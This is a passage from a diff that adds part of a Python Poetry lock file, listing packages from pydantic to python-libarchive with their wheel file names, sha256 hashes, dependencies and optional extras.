+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"},
+ {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"},
+ {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"},
+ {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"},
+ {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"},
+ {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+dotenv = ["python-dotenv (>=0.10.4)"]
+email = ["email-validator (>=1.0.3)"]
+
+[[package]]
+name = "pyflakes"
+version = "2.5.0"
+description = "passive checker of Python programs"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"},
+ {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"},
+]
+
+[[package]]
+name = "pygments"
+version = "2.15.1"
+description = "Pygments is a syntax highlighting package written in Python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"},
+ {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"},
+]
+
+[package.extras]
+plugins = ["importlib-metadata"]
+
+[[package]]
+name = "pyopenssl"
+version = "23.2.0"
+description = "Python wrapper module around the OpenSSL library"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyOpenSSL-23.2.0-py3-none-any.whl", hash = "sha256:24f0dc5227396b3e831f4c7f602b950a5e9833d292c8e4a2e06b709292806ae2"},
+ {file = "pyOpenSSL-23.2.0.tar.gz", hash = "sha256:276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac"},
+]
+
+[package.dependencies]
+cryptography = ">=38.0.0,<40.0.0 || >40.0.0,<40.0.1 || >40.0.1,<42"
+
+[package.extras]
+docs = ["sphinx (!=5.2.0,!=5.2.0.post0)", "sphinx-rtd-theme"]
+test = ["flaky", "pretend", "pytest (>=3.0.1)"]
+
+[[package]]
+name = "pypdf"
+version = "3.12.1"
+description = "A pure-python PDF library capable of splitting, merging, cropping, and transforming PDF files"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pypdf-3.12.1-py3-none-any.whl", hash = "sha256:74aa287c83e9aad2ce4a3627458dad729e39b5deae52175fe9f97bfffdde41bc"},
+ {file = "pypdf-3.12.1.tar.gz", hash = "sha256:68bf9e089caaab356518410168df9ed90f0a6109e29adac168449d4054fa0094"},
+]
+
+[package.extras]
+crypto = ["PyCryptodome"]
+dev = ["black", "flit", "pip-tools", "pre-commit (<2.18.0)", "pytest-cov", "pytest-socket", "wheel"]
+docs = ["myst_parser", "sphinx", "sphinx_rtd_theme"]
+full = ["Pillow", "PyCryptodome"]
+image = ["Pillow"]
+
+[[package]]
+name = "pyppmd"
+version = "1.0.0"
+description = "PPMd compression/decompression library"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8049c19af4b78b400b2347bff4514763257b55516c359144e9d8091991ed12e8"},
+ {file = "pyppmd-1.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1c0fd06aaf782e65b7b5bbc47f8a9dbe050c1ba18474ccbe0a2b37f57a8d8c72"},
+ {file = "pyppmd-1.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e17b08a5c283faf48b4ee888f8fa53f919cd8afd0930eae4d59f719f6be519fb"},
+ {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71f994f281439705cb04c497adc2863551fa5813606af6fb26c673a44a36c4e3"},
+ {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:31a09fd1b10518342ff442b57dd8c890b9bfea6bbdbb785c729f0d139092e42e"},
+ {file = "pyppmd-1.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ca6a926d229a6dbf2ccdb0d4e692d81ff927459b59a1cec14ef522522df6d757"},
+ {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6279f1c4b6aefacb95df49db2f2e232530592d1849c37b73478a4f26eb405d12"},
+ {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f7a1b08612627d5280ef2dad1fadb0b1a10c70df0c484f9091eff5fab5e4c84e"},
+ {file = "pyppmd-1.0.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:3ecb83e0cc92960f959111518ea208b51a58e8cc303ff959e9cd2cc56dd36a63"},
+ {file = "pyppmd-1.0.0-cp310-cp310-win32.whl", hash = "sha256:703c4fbc9b5e1454f403fb1d6b4a6c4c729f72eef14690146deecd2166429d6d"},
+ {file = "pyppmd-1.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:6e2f5ff5071e4e43c92065f383753d4ad59778816485a01ee7b29e2a1ff48140"},
+ {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7e8d3c309061ae7fb40e4a26d30f8982b367abc562b9b8621cb79932cb3b94d9"},
+ {file = "pyppmd-1.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5805c73590fb8f0ceb3e6cb115774b66a6f4700ae84b31d962ad69667e05dfbd"},
+ {file = "pyppmd-1.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6a0c524be57698fe61fff893d485a9af21e6bc0aa2d385b71a63ff951921d4b6"},
+ {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:18d7cf4d0a9ced96ff1fa44de9ee3d65f5b06278c8f9a61c3edeb660f12f146b"},
+ {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:61acfeee5ed59796037499119edd3159bf6b8c5fcaef17e295a2ca4103112d60"},
+ {file = "pyppmd-1.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f8dbe3076fe20c4d65cb1d1b51eeb17a1c177402b83100017a55daad888e198e"},
+ {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3bc75ed4e969b09fd1a766dd79cb3d5efe56edc11c86ac0b357b5648c7181ce2"},
+ {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:024f714ebb8ddf59dae164adc3c220c24555d470f4adb5bd022abc50298cfff3"},
+ {file = "pyppmd-1.0.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7ae419f71afa88784d53dd2449882af982bbd0328fa22a7e6a339221f3143918"},
+ {file = "pyppmd-1.0.0-cp311-cp311-win32.whl", hash = "sha256:8680008b1b1e9e77f3337a1a53c1b32541cac9f93f79ae12d34de050585999ac"},
+ {file = "pyppmd-1.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:a5fbec6f39a307818593508d8623d9328baf494137d191fc98e11f47e058ceee"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:a7240c00083527cf0b1bbdc92f6967e522efb9ad6968c953be174c390b091b3e"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cfb716a4a07ccbef84ed9fc31d012cef3b38404a6510e24d307cf64025999b21"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12be01e919a34c6944568592b35451acf7c98ed18e005bb4b1c046ed520aff7f"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d90d87377d83d909eafbf23301057fe16e6662c98ffea738159a234d9000a68"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:12a783a0e3c76484a1bc93783867a36ab9a60de5b5298d57c9fe7348e848346e"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:b6b6c01e46fcf785ad6c272be400ebcbcb434a1d91150614e10de8cc569b8bff"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:385a0b1341ebdfd7cb101c43eea130546830073c01bdb5036bca45c033ee633e"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-win32.whl", hash = "sha256:b8eee08c615ae9edd7bf1f214a377cac3d27417f22112685e581d4bab43029b0"},
+ {file = "pyppmd-1.0.0-cp36-cp36m-win_amd64.whl", hash = "sha256:0e9c001719527dbafdd7fd8709b98bd63c173451c2eddbaa77abf62486a13da0"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5847c47127ff9ea323f5910c62b9f136c3fab181a5144bfe72be13f051047357"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63ddd5a81d6aaed9373cd9fc4de9529f10fa052aaf064ab283dc6218418cc5b5"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:706d33cec3601d894f8a4a158bc652b7a3f01cd9e92c2da5d8711efeb9755835"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07e067e114f05918c8a4ab1fa6a070e2c7a9e497aa73fbf6d87a90e7a6e62a57"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:cecf0859b461bcf04439f32bcfb6e081016fa6204c92b5950d19d248fd1aad6b"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:47ea218f7dfa94d15286c25d60db3091db1082ba958fa0a32ccaaaeaca7fc712"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:f751882dd529328ca43af8018f79cdd02ed707fcda30a2fa9acb1ee5c48261a6"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-win32.whl", hash = "sha256:18f863d58c4451e00765137be731c2b2150aff829468f59de4169e052429e1fd"},
+ {file = "pyppmd-1.0.0-cp37-cp37m-win_amd64.whl", hash = "sha256:05950d8a39fd9bf6c64572d69a6dd0a1af3fadf8d4a2a0bb62f5b04c0a618300"},
+ {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5331a7780d3444d7029e15e68385c94d6a26f688c1e87a5a9ee2e836ea6e4559"},
+ {file = "pyppmd-1.0.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:62f970173baf80aad9472c7c6edca4a021ae7965174b1c5d6f400c9571e92efc"},
+ {file = "pyppmd-1.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ccdfc8b2a1d73b2186850b9a5bd96106d5fd4419a620d344b0ab8bf630680cf8"},
+ {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a63adeeb9dc4afd6d377ac1c9801f9539f9a81430e9c96d332023bf2ad6c04a1"},
+ {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca8a842b4ff671642b63ed4edd4e1ff7dc0ba0a7af4135758233f056ab992fca"},
+ {file = "pyppmd-1.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1aeba466617cf975cd6719070ca9721bcd83a1a84bd8cf74c3a2808724481e"},
+ {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b0a87399ade5820f787758449976e758604c7739eb5f79ed9e594b5fa3a6a1bc"},
+ {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:74bd56b165283bb5586ff9ac7a896b217b3c94effe144b768279807840142bb4"},
+ {file = "pyppmd-1.0.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:ea4b1a326afe2055304740a03a233f7389f615179b9f6377264b306f619bfb11"},
+ {file = "pyppmd-1.0.0-cp38-cp38-win32.whl", hash = "sha256:d2c3c16f644afb1b3caa4f6c717682030f7c3f54a12af8b1416b21877f0b5226"},
+ {file = "pyppmd-1.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:a7f83970a057157c88d4a53a40431d07d8d3f38029ad2eae621422f955bd243b"},
+ {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:93d0d6ed97046ce25d64427ec493e06c23f32838972258bf11d603c9c998d6b3"},
+ {file = "pyppmd-1.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1658714d012a5f9a8a3e67f3a9ede3519a2558064ccbd3163c39aca0cfd2412b"},
+ {file = "pyppmd-1.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ab4e29f774e064af09baf8478acd967684524e566b78fcc4f6f669757f0a2ab5"},
+ {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cd227b8c292ac43d3297a91055fab51c27894dba39d04ccc774a72d9e6f85752"},
+ {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68184b7246ea73a92a764e16cc18b74ccf3c8d6bfc438bbace57aeb1914118a7"},
+ {file = "pyppmd-1.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8aafe6fc436a782e6d424a0ac00de08a1559b6d6ddd08031adbe791ff4e54c90"},
+ {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bae08176e0d3ed0a5cbd838ff1ac557dfa088a652af633ab1905ab35bb9d7bc4"},
+ {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:c60031de93834e5cd262db4b27272101d04a9a18c4cc49f81d483221211a97c8"},
+ {file = "pyppmd-1.0.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:aee9c52a6f232f3f7c683b87213aa3a9eacd281ab31187e784290ba1c05024fe"},
+ {file = "pyppmd-1.0.0-cp39-cp39-win32.whl", hash = "sha256:2858471a291b51fab49242d78bd67c2b7719368618a02e4aa995de8c855da73c"},
+ {file = "pyppmd-1.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:1ec00b07c6b68feb402d6596f3575a7892ad69e4f455deee7b5301df703e60dd"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac19ec1b6e3a0aadc1537466f537017189373593e23fe254df050fdd01f4a722"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:10c8a41093952cde52b6d89488dc601ee7b10f6c95c430488f68987393777b46"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3ea6a0d26db17027805a804d013cf761d732df5bce9d6b314cd1c727fe347277"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2c31e5b331923f3b3b2cfbc66a60ecfd73db1a19a646bd1faf25bfde709a80d0"},
+ {file = "pyppmd-1.0.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:f488164e8876d213b0627a7a6cb798081eaf84fd9ec6dde5a1668296b15e1a6c"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6059ea0c9acc3b52b2961412ac75d1da72656f8b69bb8fc3d92eec6776176011"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aadc63d0ac83f8c5744eb34ea47a70ff7bfab519b293482d7ccb09946c374dc7"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09668aa43e4f02b8725e6233dfc66e532c72f0e69fa1b34dd814a9f7200e0496"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f79ebcd7312b541d3520e1a0d4c362731e24403e2f9f6761679b2ad819d5c706"},
+ {file = "pyppmd-1.0.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:556b6a3af3fca2b41ca25f51c481e5df8df4da842fc5a567da7bb099cfa52423"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f9a3782f5accab4186d68c86defc61fcc7d0146e9cdc5b54e18656852c71db16"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5c6c40f15b9fdea10bf966e5b07ee0a0ebcb8cf188ed9a466029c894816b303"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a90b98f9d501eaedaca4d0e82f9e771bd2d780d71effcdeacc9fc6180a00e07"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f8a3b9192714b3e4773fc49c100ca13defa2502cb38e56205eb5a131ccf555d"},
+ {file = "pyppmd-1.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7f1e7a1747518b5822eb755f3715d88bd1459e24de828aed86b7c1aa35e3ed76"},
+ {file = "pyppmd-1.0.0.tar.gz", hash = "sha256:075c9bd297e3b0a87dd7aeabca7fee668218acbe69ecc1c6511064558de8840f"},
+]
+
+[package.extras]
+check = ["check-manifest", "flake8", "flake8-black", "isort (>=5.0.3)", "mypy (>=0.812)", "mypy-extensions (>=0.4.3)", "pygments", "readme-renderer"]
+docs = ["sphinx (>=2.3)", "sphinx-rtd-theme"]
+fuzzer = ["atheris", "hypothesis"]
+test = ["coverage[toml] (>=5.2)", "hypothesis", "pytest (>=6.0)", "pytest-benchmark", "pytest-cov", "pytest-timeout"]
+
+[[package]]
+name = "pyright"
+version = "1.1.316"
+description = "Command line wrapper for pyright"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pyright-1.1.316-py3-none-any.whl", hash = "sha256:7259d73287c882f933d8cd88c238ef02336e172171ae95117a963a962a1fed4a"},
+ {file = "pyright-1.1.316.tar.gz", hash = "sha256:bac1baf8567b90f2082ec95b61fc1cb50a68917119212c5608a72210870c6a9a"},
+]
+
+[package.dependencies]
+nodeenv = ">=1.6.0"
+
+[package.extras]
+all = ["twine (>=3.4.1)"]
+dev = ["twine (>=3.4.1)"]
+
+[[package]]
+name = "pytest"
+version = "7.4.0"
+description = "pytest: simple powerful testing with Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-7.4.0-py3-none-any.whl", hash = "sha256:78bf16451a2eb8c7a2ea98e32dc119fd2aa758f1d5d66dbf0a59d69a3969df32"},
+ {file = "pytest-7.4.0.tar.gz", hash = "sha256:b4bf8c45bd59934ed84001ad51e11b4ee40d40a1229d2c79f9c592b0a3f6bd8a"},
+]
+
+[package.dependencies]
+colorama = {version = "*", markers = "sys_platform == \"win32\""}
+iniconfig = "*"
+packaging = "*"
+pluggy = ">=0.12,<2.0"
+
+[package.extras]
+testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
+
+[[package]]
+name = "pytest-asyncio"
+version = "0.20.3"
+description = "Pytest support for asyncio"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-asyncio-0.20.3.tar.gz", hash = "sha256:83cbf01169ce3e8eb71c6c278ccb0574d1a7a3bb8eaaf5e50e0ad342afb33b36"},
+ {file = "pytest_asyncio-0.20.3-py3-none-any.whl", hash = "sha256:f129998b209d04fcc65c96fc85c11e5316738358909a8399e93be553d7656442"},
+]
+
+[package.dependencies]
+pytest = ">=6.1.0"
+
+[package.extras]
+docs = ["sphinx (>=5.3)", "sphinx-rtd-theme (>=1.0)"]
+testing = ["coverage (>=6.2)", "flaky (>=3.5.0)", "hypothesis (>=5.7.1)", "mypy (>=0.931)", "pytest-trio (>=0.7.0)"]
+
+[[package]]
+name = "pytest-mock"
+version = "3.11.1"
+description = "Thin-wrapper around the mock package for easier use with pytest"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pytest-mock-3.11.1.tar.gz", hash = "sha256:7f6b125602ac6d743e523ae0bfa71e1a697a2f5534064528c6ff84c2f7c2fc7f"},
+ {file = "pytest_mock-3.11.1-py3-none-any.whl", hash = "sha256:21c279fff83d70763b05f8874cc9cfb3fcacd6d354247a976f9529d19f9acf39"},
+]
+
+[package.dependencies]
+pytest = ">=5.0"
+
+[package.extras]
+dev = ["pre-commit", "pytest-asyncio", "tox"]
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+ {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+ {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "python-dotenv"
+version = "1.0.0"
+description = "Read key-value pairs from a .env file and set them as environment variables"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"},
+ {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"},
+]
+
+[package.extras]
+cli = ["click (>=5.0)"]
+
+[[package]]
+name = "python-libarchive"
+version = "4.2.1"
+description = "A libarchive wrapper for Python supporting password protection."
+optional = false
+python-versions = "*"
+files = [
+ {file = "python-libarchive-4.2.1.tar.gz", hash = "sha256:966c40723dcb2ea4a38b29b0d4b130ad0961b9142314528edd7fceff44e8ad3f"},
+ {file = "python_libarchive-4.2.1-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:17db8f8a093880a1b09f926f4335fe31e262e7970a6cbdeb965e5fc9a5eee7b6"},
+ {file = "python_libarchive-4.2.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6491820a128ffd1700df0e60b86689af53989b01a9d68b9392eef16c83f78b25"},
+ {file = "python_libarchive-4.2.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:09a011df6628618d2c7f46e388d4a18c2e735436508618bcb6c54f1c2dce2ed2"},
+ {file = "python_libarchive-4.2.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:66209e78cedb3b35b81c272575b1dde66d5aabb82a435eb0529976ee4f481b7f"},
+ {file = "python_libarchive-4.2.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10baa7763b6a6360400fb80012683e6066cfba63846cd077268c58c93f190f95"},
+ {file = "python_libarchive-4.2.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23188e7b97a313e0eeb071a8b94c9d902603c05388d6a4ee9da27b92cd8d91d7"},
+ {file = "python_libarchive-4.2.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:742ac08c9572bddafa87601efbc32b2c9a48fcd15f1936fb2813b37d2d96c645"},
+ {file = "python_libarchive-4.2.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:177185bb63d867fea65191a3fc6d730527de81a78cecc7c8db9531c5102ff9c4"},
+ {file = "python_libarchive-4.2.1-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ad106808f4e401027a2777c945cac2a850f2aef82ef7c2f1364012502775632"},
+ {file = "python_libarchive-4.2.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb2de67eec18dbeeadb9b6ca71aa0bdfdc2994c82d2900329df32a2c2f974131"},
+ {file = "python_libarchive-4.2.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:0c5bd7a1ef901a16c36ea73befef1aef2993a0cfe903aa5846a5a178935f55da"},
+ {file = "python_libarchive-4.2.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:8f7bfd5270590ada47f1410b3fc9f7f77c4c768b06265abeffbd3270cc86fc05"},
+ {file = "python_libarchive-4.2.1-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6b2169bf5da1a7a3df0557e607ffe002676e8cb22d7bfc976cc2e470cff9b95"},
+ {file = "python_libarchive-4.2.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51f006893ea61ea595340e985ae108c15aab206b70fe105b97c44a2319120b5f"},
